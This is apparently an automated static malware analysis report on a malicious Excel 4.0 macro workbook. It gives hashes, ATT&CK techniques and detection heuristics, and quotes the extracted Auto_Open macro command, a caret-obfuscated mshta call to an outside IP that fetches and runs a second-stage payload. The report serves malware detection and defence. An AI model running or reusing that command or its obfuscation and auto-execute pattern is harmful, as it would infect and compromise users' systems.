Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 4fe65c13808d8fc3…

MALICIOUS

Office (OLE) / .XLSX

61.5 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 02d62723ac6fc8cb5ea31ecd5d822f41 SHA-1: 782682f16ec0cd1a97f4f69423d5bdc41d6a9919 SHA-256: 4fe65c13808d8fc349cd60fec4ff4891272efe6201b7f09157c3347d9fdde210
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro. The document body contains a lure to "Enable Editing" and "Enable Content". The extracted macro defines a string "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html" which is then executed. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes